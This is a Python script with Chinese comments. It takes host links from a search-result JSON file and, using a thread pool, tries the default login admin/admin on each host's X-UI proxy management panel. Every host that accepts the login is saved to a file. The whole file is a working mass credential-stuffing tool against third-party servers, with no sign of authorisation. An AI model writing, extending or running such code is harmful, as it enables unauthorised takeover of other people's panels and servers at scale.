import requests
import json
import threading
from concurrent.futures import ThreadPoolExecutor

pool = ThreadPoolExecutor(max_workers=8)


# 从结果数据中解析出所有的url
def parse_search_result(config_file='search_result.json'):
    try:
        urls = []
        with open(config_file, 'r', encoding='utf8') as f:
            search_result = json.load(f)
            assets = search_result.get('data', {}).get('assets', [])
            for asset in assets:
                urls.append(asset.get('link'))
        return urls
    except FileNotFoundError:
        print("配置文件未找到")
        return []
    except json.JSONDecodeError:
        print("配置文件格式错误")
        return []


# 从配置文件读取XUI登录地址
def read_login_urls(config_file='config.json'):
    try:
        with open(config_file, 'r') as file:
            config = json.load(file)
        return config.get('xui_login_urls', [])
    except FileNotFoundError:
        print("配置文件未找到")
        return []
    except json.JSONDecodeError:
        print("配置文件格式错误")
        return []


# 登录验证函数
def xui_login(login_url):
    payload = {
        "username": "admin",
        "password": "admin"
    }
    headers = {
        "accept": "application/json, text/plain, */*",
        "accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
        "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
        "x-requested-with": "XMLHttpRequest",
        "referrerPolicy": "strict-origin-when-cross-origin"
    }
    try:
        # 发送POST请求进行登录验证
        response = requests.post(f"{login_url}/login", headers=headers, data=payload)

        # 检查返回状态
        if response.status_code == 200:
            response_data = response.json()
            # print(response_data)
            if response_data.get('success'):
                print(f"登录成功: {login_url}")

                # 获取登录成功后的地址或返回数据（根据实际返回数据结构调整）
                success_url = response_data.get('data', {}).get('url', '未知URL')

                # 打印并保存登录成功后的地址
                print(f"登录成功后的地址: {login_url}")
                save_success_url(login_url)

                return True
            else:
                print(f"登录失败: {login_url}, 错误信息: {response_data.get('msg', '未知错误')}")
                return False
        else:
            print(f"请求失败: {login_url}, 状态码: {response.status_code}")
            return False

    except requests.exceptions.RequestException as e:
        print(f"请求异常: {login_url}, 错误信息: {e}")

        return False


# 保存成功登录的地址到文件
def save_success_url(url, filename='success_url.txt'):
    try:
        with open(filename, 'a') as file:  # 使用 'a' 追加模式保存每个成功的 URL
            file.write(f"登录成功后的地址: {url}\n")
        print(f"成功登录地址已保存到 {filename}")
    except IOError as e:
        print(f"保存地址时发生错误: {e}")


# 封装一个线程函数，执行登录验证
def threaded_login(login_url):
    if login_url.startswith('https'):
        print('https')
        return
    success = xui_login(login_url)
    if success:
        print(f"验证通过，可以访问 XUI 管理界面: {login_url}")


# 主程序
def main():
    # 从配置文件读取XUI登录地址列表
    login_urls = parse_search_result()
    if not login_urls:
        print("未能读取XUI登录地址")
        return

    # 创建线程列表
    threads = []
    # 为每个登录 URL 创建一个线程来处理登录验证
    for login_url in login_urls:
        future = pool.submit(threaded_login, login_url)
        threads.append(future)

    if len(threads) == len(login_urls):
        print("所有地址进入验证")


if __name__ == '__main__':
    main()
